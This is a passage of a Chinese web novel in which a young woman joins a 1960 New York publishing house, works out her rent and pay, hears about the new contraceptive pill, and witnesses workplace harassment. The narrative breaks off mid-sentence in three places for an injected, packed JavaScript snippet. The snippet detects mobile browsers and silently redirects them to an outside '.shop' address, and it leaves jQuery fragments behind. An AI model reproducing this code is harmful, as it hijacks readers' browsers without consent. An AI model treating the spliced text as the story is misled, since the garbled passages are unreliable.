卡洛琳·班德找到了管自己事的人,可惜丽莲不是这样。之前她被代理人保罗告知要找一位‘埃文斯先生’,据说他是费比安旗下,奇幻杂志《阿瓦隆》的编辑,丽莲就是要在他负责的板块做助理编辑。
其实不是所有板块都有助理编辑的,一般得是很火、很长寿的版块才会有助理编辑,普通板块就是编辑加秘书的配置而已。
从这个角度来说,埃文斯先生负责的板块其实达不到设立助理编辑的标准,只能说这就是人脉的作用了,保罗硬生生给了丽莲一个‘萝卜坑’啊。
这一点依靠的是他和埃文斯先生的私人关系,他和埃文斯先生真的是很好的朋友,而埃文斯先生又不是普通的打工人——埃文斯先生其实是费比安出版社某个股东的亲戚,总之就是上头有人!
实际上,如果不是有这样的关系,保罗大概也只能让丽莲去做秘书。而做秘书的话,倒不是工资会低一些,而是丽莲实际并不具备秘书的技能。再说了,秘书的本职工作那么多,能够学东西的时间就压缩了...真的踏踏实实做秘书可不是保罗介绍丽莲来的目的。
当然,助理编辑也有本职工作,但她这个助理编辑本来就是额外加的,所以工作本来就是一些能学到东西的活儿。
20.费比安出版社(2)
丽莲在玛丽·艾格尼丝的指点下,在很靠里的位置找到了有埃文斯先生姓氏铭牌的办公室,然后见到了埃文斯先生。
她对埃文斯先生的印象很好,大概是因为保罗的关系?在这年头,年纪足够做她爷爷的埃文斯先生对她十分和蔼(埃文斯先生五十岁左右)。问了她的基本情况,又和她聊了聊对创作的看法,就站起身和她握手,告知她被录取了。
丽莲由此获得了一张办公桌,就在埃文斯先生对面...这本来是他一个人的办公室,现在却和丽莲分享了。
然后丽莲只要去找后勤处的人,让他们送来办公桌椅、打字机等办公套件就行了。顺便把自己的入职办了,今天就可以开始工作——说实话,这样的效率让丽莲觉得有些惊讶,她还以为最快也是明天才正式开始上班呢!
也不知道是这个行业有效率,还是纽约就是这个节奏,再或者是时代的原因?这年头入职就是没有那么多繁文缛节?
但不管怎么说,这对丽莲没什么坏处,而且她今天本来就没别的安排,开始上班就开始上班呗。
所以在后勤处安置好她的办公桌后,她就在埃文斯先生的要求下审稿了——编辑最重要的工作之一就是审稿,不过这个工作阅读量太大了,所以有的编辑手下还会有‘审稿人’。
不过审稿人并不是一个职位,多数情况下就是秘书兼任的,而且这也不会让他们涨薪。但就算是这样,很多秘书也会争着做审稿人,因为审稿人做着做着,是有可能成为编辑的!不然,一般就是秘书做到底了,要知道‘速记池’里也不少三四十岁的低级秘书。
丽莲看过并按照要求给出评价的稿子,埃文斯先生还会看,他会根据丽莲的评价确定她的品味、倾向、不足等,然后指导她。这种指导不是干巴巴的,而是以她刚刚审完的稿子为范例,这样效果要好得多。
当然,这都是后话了,第一天的上午她只是看完了两篇中篇小说,然后尝试给出自己的评价而已。然后就到了中午12点,这是午餐时间到了。随着类似老式下课铃的响声,工位上的打工人没几分钟就走的干干净净了。
丽莲发现这个时代的一个好处,不只是她之前呆过的服务业,白领也很准点啊。到点之后,不一会儿就走的干干净净了,最多有一两个留下加班的。
午餐她是在公司楼下一家挺大的平价餐厅吃的,去那儿的几乎全是楼里的上班族。丽莲是埃文斯先生带着去的,他还请了她的午餐——丽莲估计,自己应该没办法每天去那里吃午餐,那里吃一顿午餐至少要一两块钱,所以她预备明天起自带,或者去外面的餐车买吃的。
她已经请教过埃文斯先生了,她作为助理编辑,每周有86美元的税前薪水(税后大概83.42美元)。相比起她之前在老家萨凡纳做百货公司店员,即使算上提成,也是收入翻倍了。这样的收入是很美好,但人在纽约,开销也大啊!
最大的就是住房了,她现在住巴比松酒店,每周房费就要40美元了,这占她收入的一半!当然,既然已经确定工作,她就考虑自己找房子,从巴比松酒店搬出来住了。这样房租会低很多,而且还能自己做饭,又省不少。
不过就算是租房,要想在纽约住的过得去、安全,每个月估计也要七八十美元,除非她能接受和人合租。
除此之外,就算是自己做饭加部分外食,想要吃的健康、营养均衡,一个月伙食费也得60块吧(丽莲是按照每天平均2块算的,还包含了零食钱)?
这样再加上交通、电话费、日用品、水电燃气、洗衣等的账单,她一个月能剩下100块就算她精打细算了——听起来还过得去?但这是不生病、不买衣服才有的,不然分分钟余额归零!
“...所以你不会在巴比松呆多久了?”多萝西听了丽莲今天在费比安出版社的经历,以及一些打算后,很快抓住了重点。
丽莲无奈:“住在巴比松是比较安全和方便,但这里太贵了。我虽然有些存款,但总要量入为出啊,不能将薪水的一半都用来付房费...这些钱足够我在上城区租单身公寓,多出来的部分甚至能付水电和洗衣房的账单。”
“所以你打算在上城区找房子住?嗯,也不是不行,你的薪水可比一般的秘书高多了。”多萝西点了点头,然后看向斜前方:“到了,就是这儿,我常来的马拉奇酒吧,要请我吃饭就在这里吧。”
如果是男士的晚餐邀请,多萝西一般会选正式的餐厅(如果对方让她选餐厅的话)。但女性朋友,还是没什么钱的女性朋友,那就是平常自己也会消费的餐厅了——这家马拉奇酒吧就在巴比松附近,也算是巴比松女孩们的据点之一?
之所以如此,除了这里的装潢、餐食等不错,就是老板人挺好了。他对姑娘们挺友善的,没有男伴的姑娘们来这里,如果遇到了什么麻烦他都会提供保护。
推门走进已经在营业的酒吧,丽莲接着回答:“我还在考虑,打算看一看,其实也不一定要住上城区。中城区的一些社区,甚至下城有的街区,其实治安也不错...当然,治安如果堪比上城区,那它们的租金也不会便宜。”
“...我不想去皇后区、斯塔滕岛那些地方,虽然也是纽约,但那边的治安对一个单身的年轻女孩,其实也和下城差不多。既然是这样,干嘛不住曼哈顿?至少交通费用少很多,也节
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16667042|187792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
省了时间。”
多萝西‘唔’了一声,拉着丽莲坐到了吧台位置:“挺有道理的...我还听说有人会住到新泽西州、康涅狄格州、马萨诸塞州、佛蒙特州,那真是太远了、太远了。但那边就便宜多了,即使是靠近纽约的中产小镇里的独栋房子,也只有纽约单身公寓一半不到吧?”
“住那么远啊,那就要自己买车了吧?而且我可受不了那么长时间浪费在上下班路上。”丽莲表示自己没考虑过住到纽约以外的地方。
说着这些的时候,多萝西又迅速点好了晚餐——她很熟悉这边,酒吧服务生也认识她,笑着打了招呼后不久,食物就送上来了。
出餐很快,大概也有都是酒吧食物,所以选择有限、烹饪简单的原因。多萝西就给自己点了一份美式煎蛋饼套餐,给丽莲点的则是不容易翻车,同时还是马拉奇酒吧招牌的肉丸意面套餐(饮料的话,多萝西自己要的是啤酒,丽莲则特别出声要了苏打水)。
多萝西见丽莲很安然地坐在吧台位上,吃了一口滑嫩的蛋饼加蘑菇,还有些惊奇:“还以为能唬住你呢!我们可是坐在吧台座儿,没有男士的陪同!”
一开始丽莲有些不解,经过多萝西的解释她才知道,原来女士是不应该自己坐在吧台位的。这也不是明文规定,但大家默认如此——这让丽莲想起来日本女孩自己不进拉面店,男生不自己进甜品店的隐形规定。
日本那个还能说是‘刻板印象’,并附带了一些歧视元素,那当下的酒吧,女士不能自己坐吧台位,就是歧视为主,附带一些刻板印象了。
体面女士进入酒吧这种‘男性化的空间’,本来就是现代才有的,有男伴一起还好,自己一个人或者和女伴一起,就会让一些男性觉得不伦不类。这种时候再出现在单身人士专属,且格外显眼的吧台位,几乎会被一些人视为‘挑衅’。
只有男伴在一旁,可以让这些人好接受一些—— 大概是某种封建思维的延续?欧美古代、近代,女性往往被视作无民事行为能力人,需要父亲或丈夫‘监护’。这时候有男伴在一旁,会被默认她们是有‘监护人’的,那出格一些也无伤大雅。
丽莲还真不知道酒吧有这种规则,主要是,她这辈子过去十几年,很长一段时间从未去过酒吧。后来在拉斯维加斯倒是去过几次了,但基本都是受邀请去的,也没注意过单身女孩不能坐吧台位。
丽莲说明了自己的情况,多萝西忍不住笑了起来:“啊,我真是个傻瓜,居然没想到这种情况——对了,你还很年轻,接触这些还没多久,没有经验是很正常的。而且你怎么会一个人去酒吧呢?而如果不是自己去酒吧,也很难发现吧。”
21.费比安出版社(3)
在第一天上班的赶鸭子上架之后,丽莲第二天上班就要自如多了——她没有再戴帽子和手套,还特意带了一双平底鞋去费比安出版社,这样在办公室就可以换上更舒适的鞋子了......
她通过观察出版社的女职员们,发现她们很多就是这么做的!甚至有人大概是上班太赶,居然是带着卷发的夹子去的,和印象中精致到一丝不苟的女白领完全不一样!不是说这年头的女白领对外表要求高吗?还是说,这一点和后世也没太大区别,班上久了是没有人会在乎同事的?
不过稍微观察一下,丽莲倒也有一些明白过来。的确,公司确实会在招聘女员工时更多考量到外表,天生丽质、打扮入时,这都是极大的加分项。但对资本家来说,招女职员进来也不可能真的就是为了当花瓶、做摆设!
本质上是女职员那些工作,比如低级秘书什么的,应聘者可比职位多,这就给用工方多了不少选择余地。既然是这样,那当然会卷工作技能以外的东西,外表只是最显著的一项罢了。
所以,已经入职有一段时间的女职员,只要能完成好工作,稍微不修边幅一些,老板不可能在乎,总不可能因为这个开除人吧?这个时候,女职员依旧坚持保持精致,更多是受从小的教育,以及环境使然...一个年轻女性对外表松懈,这在这个时代就是会受到轻视,甚至指责。
也是因此,即使是入职有年头的女职员,会在外表松懈的,大多也是已经结婚或者不再年轻的——大家默认她们退出了吸引异性的范围,这样的话,只要保持基本的整洁体面就够了。
当然,也有未婚年轻的女孩很朴素简单,这要么是她们的收入与家境不支持她们打扮,要么就是个人选择。就像后世不怎么打扮的职场里,同样也会有那么几个每天都打扮得美美的女同事。
不过即使这样也有一个底线在,女职员始终不可能上班时和工厂女工一样...但下班后倒是可能差不多的穿着,毕竟此时的美国大城市已经发展到这一步了,只要不是底层穷苦家庭,在家穿的舒适家居服、出门玩穿的一些体面衣服,总是有的。
“...所以,你在考虑租公寓的事?”这天午餐时间,丽莲和昨天认识的卡洛琳·班德一起在公司楼下餐厅吃饭。听丽莲说了自己的事,卡洛琳咽下一口面包露出若有所思的神情。
丽莲虽然考虑自己带午餐,但现在她还住酒店呢,又不能自己做饭,所以其实带饭也不方便。真要带便宜的餐车食物去公司,为什么不中午出写字楼再买呢?这种写字楼周围也挺多餐车的,都是为了喂饱周围的打工人。
她本来也是打算今天去吃餐车的,不过卡洛琳约了她——她们都是费比安出版社的新人,对彼此的第一印象也很好,昨天白天工作间隙还短暂地有过几次交谈。如果不是埃文斯先生先请了丽莲午餐,说不定她们还会一起吃午餐。
“没错。”丽莲今天点了肉酱蝴蝶意面,味道还可以,就是有些咸,她喝了一口水才接着说:“一直住在巴比松是不可能的,那边太贵了,不只是住宿费,还有不能自己做饭,伙食费也会多很多呢。”
卡洛琳对丽莲的计划表示了羡慕,因为她也想住到城里——她家是康涅狄格一个邻近纽约的小镇‘威尔顿’的。那儿每天有火车到纽约,所以住父母家的她不需要有自己的车子,也能往返于纽约和家。
她之所以想要住城里,除了因为这能节省大量通勤时间,还在于这很‘自由’。虽然住自己家不需要付房租水电,伙食费什么的也能省下不少,但年轻人谁不向往独立自由的生活呢?而独立自由最重要的一步,往往就是搬出父母家自己住。
正交谈时,她们旁边有人坐下了,丽莲认出对方是费比安出版社后勤处的一个女孩‘布兰达’,昨天订咖啡时就见过她了。
“嗨,中午好...”布兰达和丽莲、卡洛琳打了个招呼,等餐的同时也和她们聊了起来。主要是聊她的未婚夫什么的,她好像快要和未婚夫结婚了,有很多关于新婚生活的畅想。
这样一说,丽莲才发觉费比安出版社里的未婚女职员们,也大多有未婚夫呢——比如布兰达,又比如卡洛琳,卡洛琳刚刚就和她说了,自己有个未婚夫,最近去欧洲工作了,他们也有结婚计划,不过具体要等对方从欧洲回来商量。
还有昨天就遇到的那位‘速记池’头儿玛丽·艾格尼丝,她也说是要结婚了,最近一直攒钱就是为这个。
接连几个给丽莲留下比较深印象的未婚同事都有未婚夫,这让丽莲不得不思考未婚女同事们的订婚率——不过这也不奇怪,战后女性初婚年龄可是连年新低,过去的五十年代,平均都只有20.1岁了!
布兰达选择坐在丽莲和卡洛琳旁边,似乎是有意为之,因为她很快就说起了自己认识一个医生:“...不是什么小诊所医生,是大医院的妇科医生,我可以介绍你们去那里进行一个体检。他是一个守口如瓶的人,拿到体检报告后没什么问题,立刻就能开药。”
丽莲一开始不太懂对方的意思...体检?难道现在的大企业加新员工也要先体检过关吗?不过如果是这样,应该在入职之前就搞定吧?
相比起丽莲作为此时小地方来的‘高中生’,对此缺乏认知,家近纽约这座超级都市,本身还是大学毕业生的卡洛琳就要懂的多了。她努力地保持良好的态度,看不出她对这件事的好恶,只是点了点头说:“我应该不需要那位医生的‘帮助’,我是说我已经有未婚夫了。”
虽然不太明白有‘未婚夫’和布兰达说的有什么关系,但考虑到卡洛琳是个可靠的人,丽莲也跟着含糊地说:“这件事我得考虑一下。”
布兰达也没有继续说什么,只是笑了笑,之后的午餐都没有再纠缠这个话题。然后等到丽莲和卡洛琳先一步吃完离开,丽莲才问卡洛琳刚刚是怎么回事。
“...你不明白吗?啊,没错,这是最近几个月的新情况。”卡洛琳的表情有点儿奇怪,像是想表达对这件事的不赞同,但好像骨子里又不讨厌这事儿:“...是‘恩那维德’,你知道这种药吗?”
丽莲还真不知道,但在卡洛琳简单解释之后就立刻明白了,原来是口服避孕药啊。准确地说,这是世界第一款真正的避孕药,今年5月份刚刚被美国FDA批准上市——不过,实际这款药物的公开应用,在1957年就开始了。
避孕这种事,受限于经济条件自古就有,但古代因为没有可靠的避孕手段,其实很难说有多好的效果。所以相比起避孕,生下来后再弃婴、杀婴才是最广为人知的做法。直到现代避孕套的诞生,避孕这件事上人类才真正有了自主权。
但这是对人类中的男性来说的,女性在这件事上依旧非常被动。由于被迫或者半被迫,甚至缺乏常识的原因,很多没有生育意愿的女性没能进行有效避孕,最后只能吞下苦果——女性用的口服避孕药,好处在于这是女性掌握的。
从历史进程看,这当然是一件好事,不过此时受限
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16671976|187792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
于宗教等因素(宗教上认为人类不应该干预生命的诞生,这有违主的意志),口服避孕药面对的压力是很大的。所以1957年时,‘恩那维德’获准上市,并不是以避孕药的名义,而是治疗妇科病,如月经不调、绝经。
避孕功效被这款要写在了‘副作用’一栏,即服药期间会导致不孕。
很多女性了解到这一点,立刻掌握了正确用法,当时就把它当避孕药了。但这样有实无名是很无奈的,厂家知道这款药物真正的卖点在哪里,当然希望将此昭告天下、增加销量。还有诸多已经觉醒的女性,她们也不希望遮遮掩掩,好像女性要掌握自己的身体是什么见不得人的事一样。
大概也是美国的第二次女权浪潮也终于要到了——二战后随着女性回归家庭,女性地位似乎到了进两步退三步的境地,甚至比不上战前。这是不符合时代发展的,明明工业技术发展、受教育程度普遍提高,同等条件下女性生产力在第二、第三产业已经和男性相差无几了!
这种人工干预的强行滞后,就像是一个弹簧,下按越用力,反弹时就越厉害。所以有了六十年代后期到七十年代,美国轰轰烈烈的女权浪潮。
现在虽然还没到时候,但力量积蓄已经到了一定程度,即使只是泄露的一丝,也足够惊人!
“...我很赞同‘恩那维德’的上市,这对很多姑娘有好处,但有了‘恩那维德’以后,一些男人也更无所顾忌了。”卡洛琳无奈地说。
刚刚布兰达的意思就是他认识一个妇科医生,可以给她介绍的人开口服避孕药——布兰达在费比安出版社还挺有名的,嗯,特别爱占小便宜!比如她帮职员订咖啡,可以订纸杯装的,也可以订玻璃杯装的。玻璃杯装的咖啡如果退还玻璃杯,咖啡店是要还押金的,而她不会把押金给当事人,而是自己就留下了。
因此,她会介绍新同事去认识的医生那儿开口服避孕药还真不奇怪,大概是有提成吧。
口服避孕药一经上市,在美国不同地区也有不同的规定,有的地方几乎就是禁止销售,有的地方有条件地销售,比如会要求是已婚人士才能开药什么的。在纽约的话,因为是大城市,这类药物阻力很小,几乎是没有限制的。
不过即使是这样,它也是一种处方药,要有医生的处方才能买。
丽莲懂了卡洛琳的意思,小声请教:“所以,现在女职员开‘恩那维德’很常见吗?”
卡洛琳点了点头:“据说在一些更新潮的公司,这已经是一种默认的事了,女孩们入职就会开好‘恩那维德’...并不是说公司里的男性上司一定会对她们做什么,但如果事情真的发展到那一步,这是一个‘保险’。”
被强迫或者半强迫的话难道不可以拒绝吗?为什么要用避孕药当保险?丽莲很想这样问。但最后她也没问出口,在这个时代生活了十几年的她又怎么会不懂什么叫现实——别说是六十年代了,就算是21世纪,上司强迫下属加班、背锅等,又有几个下属能拒绝?
换而言之,当下的普通女孩也很难对得寸进尺的色鬼上司说‘不’。别说什么这不是一个程度的事,在六十年代还真就差不多!这是一个没有职场性.骚扰概念,女性拒绝被同事性骚扰而导致呆不下去,会被认为是她自己的问题的时代!
最终,丽莲和卡洛琳都没有去找布兰达那位妇科医生朋友开药,大概是她们都有差不多的想法,真的到了被强迫的地步,大不了一拍两散,这个班也不是非上不可。
22.费比安出版社(4)
虽然丽莲和卡洛琳都没有一定要呆在费比安出版社的想法,更不会以忍受性.骚扰为代价留下,所以都没把‘恩那维德’的事放在心上——丽莲单纯是这样想,而卡洛琳除了比同龄女孩更有这方面的意识,还在于她没有职场拼搏的规划。
职场对她就是个短期过渡而已,她自认为等男友一回国,就要开始准备结婚的事了。
或许要像‘速记池’的头儿艾格尼丝一样,准备结婚的时间会比较长(结婚需要花很多钱,但她和未婚夫没办法靠家里,只能自己攒钱),可那到底不是问题。
但是,事情有的时候就是会以一种完全相反的方式推进。
这天都快下班了,丽莲也从埃文斯先生的办公室收拾好走了出来,就看到法罗小姐赶在这个时间将很厚的两份文稿扔给了卡洛琳:“处理完这些废稿后...”
“废什么?”卡洛琳原本也在忙,其他人都在准备走了,但因为她今天是给法罗小姐做秘书,又缺乏经验,刚刚还在忙呢。有些焦头烂额的情况下,根本没听清法罗小姐说了什么。
法罗小姐是费比安出版社少数几位女性编辑之一,在女秘书群体中名声不大好,因为她这个人出了名的对秘书刻薄——丽莲原本和她没什么交集,但因为卡洛琳来的第一天就分给她做临时秘书(她常用的秘书这两天正好请假),由此注意到了法罗小姐这个人的挑剔。
“废稿,就是不需要的稿件,亲爱的...处理完这些你就可以走了,但是每份稿件上都要打上我的评价。”说这些的时候,法罗小姐有一种高高在上的感觉。也不知道她是在看轻这些稿件,还是觉得需要解释这个,卡洛琳这个秘书实在不怎么样,连这也不懂。
“用打字机吗?”卡洛琳其实并不是问‘打字机’,而是觉得现在太晚了,大家都开始走了。
法罗小姐却像是没听懂她的暗示一样,有些讽刺地说:“不,班德小姐,你应该用土著鼓敲出来。”
“我只是想说,现在已经很晚了,法罗小姐。”卡洛琳提醒道。
“噢,确实如此。”明明已经走出办公室,自己也打算下班的法罗小姐却像是才注意到这点一样,一边整理自己戴上的手套,一边说:“那你明早早点儿来完成它吧。”
对此卡洛琳倒是没有再表示反对,毕竟作为秘书,完成编辑安排给自己的工作是很正常的。
丽莲见法罗小姐走了,才过来问她:“怎么样,没问题吗?”
“没什么。”卡洛琳笑了笑:“别担心,我只是还有一点儿活儿没做完,马上也要走了——至于法罗小姐的工作,明天再说吧。”
虽然说是明天再说,但她在询问过艾格尼丝,确定可以把‘废稿’带回家看后,她就把它们带回家了。这并不是她打算把工作带回家,而是她对稿件本身感兴趣——即使法罗小姐对这小说的评价很低。
翌日,她还和丽莲说起了这份‘废稿’:“法罗小姐很不满意这本小说,但我倒是觉得很有潜力呢。所以除了附上法罗小姐的意见,我也另外放上了我的评价,希望管理层不会觉得我在多事。”
说实话,卡洛琳的行为有些大胆了,不只是对上司已经盖棺定论的事发表不同意见,关键是审稿不是一个秘书应该做的工作,不是吗?除非他们被编辑吩咐审稿了。
这种行为会被管理层怎么看呢,是工作积极性高,还是越界?这本来就是一念之间吧。
但丽莲倒是能够理解卡洛琳为什么这样做,一方面是她本身就是个颇有主见的姑娘,既然看好那部作品,想要改变其命运,那就会去做。另一方面,也是她并不担心管理层或者法罗小姐对自己不满吧。
还是那个原因,在她现在的计划里,费比安出版社只是一个过渡而已。
这样想着,丽莲也没有对卡洛琳‘指手画脚’,笑了笑说起了别的事。再之后,两个人说话就要等到下班时间了——另一个和卡洛琳一样新来的秘书,名叫艾普尔的,她也和卡洛琳飞快混熟了,她和卡洛琳约好了下班后一起去逛街,还邀请卡洛琳去她的公寓做客。
因为当时丽莲也在,她顺便也邀请了丽莲...因为卡洛琳的关系,艾普尔和她也算认识。
其实没熟到可以去人家公寓做客的程度,不过丽莲对同事们租的公寓有一定好奇——她不太清楚纽约的女性白领们一般租什么样的房子,要确保安全、方便、价格合适的话,又需要从哪里着手。
毕竟她对美国六十年代的了解仅限于南方小城萨凡纳,拉斯维加斯也不过呆了几个月,除了表演几乎没怎么出过宿舍。
好在艾普尔和她的舍友也不在意,让丽莲得以成行——艾普尔的舍友也是费比安出版社的秘书,而且资历深厚,在纽约‘漂’了有几年了,是经验丰富的‘纽漂’。
丽莲和卡洛琳一起下班,来到了和艾普尔约好的咖啡厅。她们到的时候,和艾普尔坐在一起的还有两个人,一个是费比安出版社《青少年行为指导》这本杂志的编辑博伊德先生,另一个则是小说出版领域的主管之一沙利马先生,都是男性,前者年轻,后者已经五十出头了。
丽莲对他们都不熟,不过这不影响她们走过去时,两位男士展现风度,替她们拉开了椅子。
丽莲和卡洛琳坐在一起,丽莲的旁边是年轻的博伊德先生,卡洛琳的旁边则是沙利马,她们对面坐着艾普尔。
大家客套地闲聊了几句,沙利马先生似乎对丽莲和卡洛琳很感兴趣,问她们初入职场的感受。然后他像是想起什么了一样,笑着对卡洛琳说:“我读了你写的推荐,班德小姐,你的直觉很不错,我给了那个年轻作家一个机会。”
卡洛琳很快反应过来,是那份‘废稿’!
她既高兴自己的判断得到了认可,又为沙利马先生那赞赏的态度受宠若惊,兴奋而拘谨地道:“我太高兴了!”
“你是否想过每晚都审稿呢?”说到这里的沙利马先生似乎想到了什么,看向丽莲:“就像富尼叶小姐一样...听说班德小姐是大学毕业生,这说明你有更好的基础,不是吗?”
“啊,那就太——”卡洛琳刚要迫不及待地赞同,却突然面有难色,勉强接道:“好了...”
其实根本听不出有什么好的,丽莲注意到了她的反常,等一会儿咖啡喝完,三位女士顺势告辞,就小声问卡洛琳:“刚刚怎么了?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16675392|187792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
卡洛琳摇了摇头:“当时沙利马先生的手不太规矩。”
她当然不喜欢这个,但反应也不算太大。或许当时觉得讨厌,事后却很快抛到了脑后——丽莲飞快理解了为什么,还是这个该死的时代啊!职场女性显然默认这种事是工作中的一部分,连讨论都显得‘矫情’。
也是因为这个原因,丽莲也没办法说太多,只能骂了两句沙利马,并暗暗警告自己以后多避开沙利马这个人。
之后三位女士去买了一些东西,主要是简单的吃的,以及一瓶普通的佐餐酒——这会是四个女孩,包括艾普尔那位室友的晚餐。
艾普尔的室友名叫格蕾丝·亚当斯,一位高个子、长相深刻而美丽的女子(从丽莲的角度来说,她很有模特气质,让她想到了巴比松大饭店里形形色色的模特们)。她也是法罗小姐的较为固定的秘书,前两天卡洛琳就是替她给法罗小姐工作,而她则是因故请假了。
丽莲之前和她几乎没打过照面,但这不妨碍同样漂泊在纽约的4个女孩开一个小小派对——四个人中没有一个是纽约人,就算是卡洛琳,她其实也是康涅狄格州的。
伴随着小酌,气氛放松了下来,就像所有的女子座谈会一样,总会聊到‘爱情’。而四个女孩中只有卡洛琳有男友,于是大家总想让她多说一些。
没有了在外时的端庄稳重,卡洛琳放松地坐在沙发上,双腿向前伸直,一手举起玻璃酒杯,一手拨弄着脑后的头发:“...我也说不好,如果我26岁的时候艾迪还没有娶我的话,我或许就会去找个情人。”
这样的话如果是在半个世纪后,甚至十年后,都会显得有些矫揉造作,充满了旧时代的气息。但在1960年的当下,却显得恰如其分,甚至有一丝天真梦幻——1960年的美国,本质上和1930年,甚至1910年前的美国没有本质上的区别。
所以可以想象,这时候的生活也还有近代时期‘风流时代’的戏剧感。
“真的吗?26岁?我觉得你说的对极了!”艾普尔连忙赞同:“等到那么老了后,人有权力享受生活。”
丽莲听到艾普尔形容26岁是‘老’,忍不住微笑起来...不过对于今年才20岁的艾普尔来说,26岁确实是一个距离很遥远的年纪,遥远得像是永远不会到来——大概意识到26岁到来的时候,她已经结婚,甚至孩子都有两个了!
这样一说,简直是下辈子的事。
而这绝不是胡思乱想,是此时的世情就是如此,大家普遍认为26岁的未婚女孩‘老’。当然,如果已经结婚那又是另一回事了,对已婚的夫人,年龄有另一套评价标准。
“我妈要是听到我这样随意地谈论爱情,肯定会被气死的。”卡洛琳笑着说,就像任何一个新时代的年轻人,都会和保守的父母有这种分歧。
大家之后又各自说了一下自己的爱情观,只有丽莲没什么可说的,因为她是真的没想过这件事!无论是这辈子的年龄还小,还是此时男性普遍的大男子主义,都让她下意识回避这件事——对此大家只觉得她是年纪太小了,才17岁呢!就连另外三人中最小的艾普尔也比她大三岁。
23.费比安出版社(5)
艾普尔和格蕾丝邀请卡洛琳来她们的公寓,其实是有意请她来合租——之前艾普尔和卡洛琳一起吃午餐时,也提到过她和格蕾丝还想找一个合租室友分担房租,这样经济负担能轻一些。而卡洛琳也确实表示过,相比起和家人住,她更想住在曼哈顿,这样方便又自在。
今天其实就是一个‘摊牌’,格蕾丝和艾普尔互相看了一眼,然后格蕾丝就对卡洛琳宣布:“卡洛琳,我们想要你和我们一起住!哦,当然了,你别多想,这不是我们特别喜欢你,只是我们需要你的钱。”
后半句当然是玩笑,之后格蕾丝还给卡洛琳介绍了一下她们公寓的情况——其实也没什么可介绍的,她们的公寓不大,进来后基本一览无余,该看到的都看到了。
虽然这是两个人合租的公寓,但并没有两间卧室,实际上一间都没有,这里只有一间正常大小的客厅。然后通过布帘这种软隔断,在靠里处隔出了一个可以称之为卧室的区域,里面放了两张小小的单人床。
而除了这个卧室兼客厅的大空间,公寓还附带有厨房和单独的洗手间。说实话这挺不错的,如果是丽莲,她也愿意租这种格局的公寓。相比起有单独卧室的单身公寓,这种会便宜一些,但如果是单身人士住,又有什么不方便的呢?
“冒昧一问,这间公寓租金是多少呢?这附近安全吗?”丽莲除了租金,首先还是关心起了安全问题。没办法,这可不是2025年的华夏,而是1960年的美国纽约,一个单身女性租房,安全绝对是需要纳入头等考虑的。
卡洛琳帮丽莲解释:“丽莲在考虑租房的事儿,她现在还在住酒店。”
“哦,真可惜,原本我们楼上有个房间在招租的,但前几日已有人搬进去了,不然就能介绍给你了。”格蕾丝耸了耸肩,又说:“我们这间公寓的租金是75块每个月,听到这个价格你就知道为什么我们得再找一个合租室友了...我的周薪税后才49块!”
艾普尔却羡慕地说:“49块挺不错的,我只有42块。”
丽莲惊讶于她们的薪水之低,忍不住说:“我记得,报纸上说纽约的低级秘书,平均薪资也有86块吧?虽然平均往往会拉高数字,不代表真正的大多数,但也不应该差的这样远啊...”
丽莲是以‘编辑助理’的身份进入的费比安出版社,虽然知道秘书的薪水不高,却没想到会这么低!要知道纽约不是萨凡纳,这边的生活成本是很高的。
“就是会差这么远,亲爱的!你知道吗,我们费比安出版社还算不错了,我还听说有的低级秘书只能拿35美元的最低周薪呢!这基本就是纽约的最低薪资了。不是谁都能像你一样好运,刚刚步入职场就成为助理编辑。”格蕾丝无奈地说。
此时纽约的最低时薪是每小时1美元,大家朝九晚五,再扣除午休一个小时,每周工作五天就是35个小时每周了。所以才说,35美元是最低周薪——当然,这其实是针对全职工作者来说的,纽约还有很多人是做兼职的。单看一天收入,他们或许能超过7美元,只是不见得每天都有这样的收入。
丽莲只能解释了自己的情况:“我的确是好运,因为我认识马里诺先生,他是一位文学代理人,和埃文斯先生是很好的朋友,他介绍我来的——实际上,我在尝试写作,马里诺先生认为我可能有点儿天赋。”
大家这才知道丽莲作为一个文凭为高中毕业的年轻女孩,没有上过大学,连秘书学校都没上过,是怎么一下就当上了费比安出版社的助理编辑的。之前有过不少猜测,最多的就是她是某位高层的未婚妻或者情人......
毕竟她有那样的美貌,如今又是这样的时代,会朝那个方向去猜很正常。
卡洛琳很好奇丽莲写的东西,可惜丽莲没什么作品,只能把唯一发表的作品告诉她,然后又拜托三人不要往外说这件事,她不太想被议论——她也是能感觉到,三个女孩都不是那种性格古怪,说了保密还会随随便便传播流言蜚语的人,所以才透露这件事。
“你们的周薪加起来也超过90块了吧?负担每月75块的房租也会有困难吗?”丽莲解释了自己的事后,还是觉得有点想不通。
